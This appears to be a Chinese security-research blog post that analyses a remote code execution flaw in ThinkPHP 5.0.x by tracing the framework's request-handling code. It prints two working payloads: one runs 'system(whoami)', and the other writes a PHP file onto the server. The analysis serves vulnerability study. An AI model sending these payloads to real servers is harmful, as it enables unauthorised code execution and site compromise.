Thinkphp5.0.0-5.0.18RCE分析
Thinkphp5.0.0-5.0.18RCE分析
1.本文一共1732個字 26張圖 預計閱讀時間15分鐘
2.本文作者Panacea 屬於Gcow安全團隊複眼小組 未經過許可禁止轉載
3.本篇文章主要分析了Thinkphp5.0.0-5.0.18RCE情況
4.本篇文章十分適合漏洞安全研究人員進行交流學習
5.若文章中存在說得不清楚或者錯誤的地方 歡迎師傅到公眾號後臺留言中指出 感激不盡
0x00.前言
本篇文章基於thinkphp5.*
框架,分析兩種payload的構成以及執行流程
準備
Windows+phpstudy
tp版本:thinkphp_5.0.5_full
php版本:5.4.45
phpstorm+xdebug
0x01.Payload1
開始分析
漏洞程式碼位於:thinkphp/library/think/Request.php
首先放上payload:
s=whoami&_method=__construct&method=post&filter[]=system
method
方法主要用來判斷請求方式,首先分析一下這段程式碼的邏輯:透過$_SERVER
和server
方法獲取請求型別,如果不存在method
變數值,那麼就用表單請求型別偽裝變數覆蓋method
的值,那麼就可以利用這點呼叫其他函式,預定義裡面method
為false
,那麼就會直接走下一步的是否存在表單覆蓋變數
從get
方法中獲取var_method
的值,值為_method
在config.php
已經有預設值,但我們構造的payload裡面傳值_method=__construct
就是變數覆蓋,因此下一步會走到__construct
方法
// 表單請求型別偽裝變數
'var_method' => '_method',
繼續往下跟程式碼,來到__construct
構造方法,將陣列option
進行遍歷操作,如果option
的鍵名為該屬性的話,則將該同名的屬性賦值給\$option的鍵值,如果filter
為空的空,就呼叫預設的default_filter
值
filter方法:
public function filter($filter = null)
{
if (is_null($filter)) {
return $this->filter;
} else {
$this->filter = $filter;
}
}
而預設的過濾方法為空
// 預設全域性過濾方法 用逗號分隔多個
'default_filter' => '',
在建構函式里面走完filter之後會走input
方法,繼續跟進
繼續往下跟,這裡的method
已經為post
方法,所以進入param
方法裡的post
是直接break
的
下一步進入filtervalue
方法中,可以看到我們要傳入的值已經全部傳進了,call_user_func()
函式將我們傳入的\$filter=system作為回撥函式呼叫,也就達到了RCE的目的
0x02.Payload2
前提
該利用的重點在於在一定條件下可以使用::來呼叫非靜態方法
首先我們需要了解靜態屬性和靜態方法是如何呼叫的,靜態屬性一般使用self::進行呼叫,但是在該篇部落格上面使用了::
的騷操作,用::
呼叫非靜態方法
<?php
class People{
static public $name = "pana";
public $height = 170;
static public function output(){
//靜態方法呼叫靜態屬性使用self
print self::$name."<br>";
//靜態方法呼叫非靜態屬性(普通方法)需要先例項化物件
$t = new People() ;
print $t -> height."<br>";
}
public function say(){
//普通方法呼叫靜態屬性使用self
print self::$name."<br>";
//普通方法呼叫普通屬性使用$this
print $this -> height."<br>";
}
}
$pa = new People();
$pa -> output();
$pa -> say();
//可以使用::呼叫普通方法
$pan = People::say();
可以看到最後的輸出,仍然輸出了name
的值,但是卻沒有輸出height
的值
原因在於:php裡面使用雙冒號呼叫方法或者屬性時候有兩種情況:
直接使用::呼叫靜態方法或者屬性
::呼叫普通方法時,需要該方法內部沒有呼叫非靜態的方法或者變數,也就是沒有使用$this
,這也就是為什麼輸出了name
的值而沒有輸出height
瞭解上面這些,我們就可以開始下面的分析
0x03.分析
先放上流程圖(本人比較菜雞 所以只能用這種方法記錄下來流程)
首先放上payload
path=<?php file_put_contents('ccc.php','<?php phpinfo();?>'); ?>&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=\think\view\driver\Php::Display&method=GET
payload的分析
使用file_put_contents()
寫入,使用變數覆蓋將_method
的值設定為_construct
,這裡的set_error_handler
是設定使用者自定義的錯誤處理程式,能夠繞過標準的php錯誤處理程式,接下來就是呼叫\think\view\driver\Php下面的Display
方法,因為我們要利用裡面的
eval('?>' . $content);
完成RCE的目的
雖然會報錯,但是不影響寫入
首先從App.php開始,在routeCheck方法處打斷點
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
// 路由檢測
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 開啟路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 讀取路由快取
$rules = include RUNTIME_PATH . 'route.php';
if (is_array($rules)) {
Route::rules($rules);
}
} else {
$files = $config['route_config_file'];
foreach ($files as $file) {
if (is_file(CONF_PATH . $file . CONF_EXT)) {
// 匯入路由配置
$rules = include CONF_PATH . $file . CONF_EXT;
if (is_array($rules)) {
Route::import($rules);
}
}
}
}
這一步主要是獲取$path
的值,也就是我們要走的路由captcha
繼續往下走,$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);,跟進check
方法,這裡面的重點就是獲取method
的值,$request->method()
這裡是呼叫var_method
,因為我們傳入了_method=__construct
,也就是變數覆蓋,這些步驟和上面的幾乎一樣
那下一步繼續跟進__construct
,走完construct
函式後,可以看到大部分的值都是我們希望傳進去的,這時method
的值為GET,也就是為什麼payload裡面要傳GET的原因
下一步要獲取當前請求型別的路由規則
$rules = self::$rules[$method];
可以看到這裡的rule
和route
的值都發生了改變,路由值為\think\captcha\CaptchaController@index
接下來跟進routeCheck()
方法,走完這個方法後,返回result
值
接下來進入dispatch
方法
接下來進入param
方法,合併請求引數和url位址列的引數
$this->param = array_merge($this->get(false), $vars, $this->route(false));
然後進入get
方法,繼續跟進input
方法
然後就會回到filterValue
方法執行任意方法
0x04.參考文章:
https://y4tacker.blog.csdn.net/article/details/115893304
https://y4tacker.blog.csdn.net/article/details/115893304
相關文章
- 後端分析/前端分析/邊緣分析2020-08-19後端前端
- 【漏洞分析】KaoyaSwap 安全事件分析2022-08-28事件
- jemeter分析(二) — jmeter案例分析2015-07-23JMeter
- USB 邏輯分析儀分析丟包怎麼分析(lecroy USB 邏輯分析儀)2024-08-28
- Giraph原始碼分析(六)——Edge 分析2019-08-12原始碼
- 從電影分析到遊戲分析2021-04-02遊戲
- 故障分析 | MySQL死鎖案例分析2023-01-05MySql
- EOS原始碼分析(3)案例分析2018-05-13原始碼
- MyCAT原始碼分析——分析環境部署2018-05-16原始碼
- Excel做分析-相關性分析2017-07-21Excel
- 分析建模-如何識別分析類?2015-10-04
- 分析:應用收費模式分析2012-06-24模式
- 分析建模中的行為分析2015-10-07
- apache kafka原始碼分析-Producer分析2015-11-17ApacheKafka原始碼
- 日誌分析-apache日誌分析2024-04-28Apache
- Unity效能分析(二)CPU/GPU分析2024-04-30UnityGPU
- SWOT分析、PEST分析、GE矩陣、波士屯矩陣等分析方法2009-03-25矩陣
- 資料分析師招聘分析2.02020-08-24
- Java集合框架分析(五)LinkedHashMap分析2019-11-05Java框架HashMap
- 詞法分析的前奏:字元分析(三)2020-12-27詞法分析字元
- Retrofit原始碼分析三 原始碼分析2018-05-17原始碼
- 二值影象分析之輪廓分析2017-05-02
- Spark原始碼分析之DiskBlockMangaer分析2017-11-10Spark原始碼BloC
- Spark原始碼分析之cahce原理分析2017-11-11Spark原始碼
- Unity效能分析(三)記憶體分析2024-04-30Unity記憶體
- 軟體需求與分析 業務建模分析2024-10-30
- Facebook 分析2019-10-12
- 今日分析2019-03-25
- CyclicBarrier 分析2021-05-31
- javaBean分析2018-12-13JavaBean
- SparseArray分析2018-07-31
- 文字分析2021-11-16
- 效能分析2016-09-15
- 索引分析2016-09-14索引
- CMSampleBuffer 分析2018-04-17
- ArrayList分析2018-04-12
- 表分析2017-02-20
- 分析HWM2015-04-16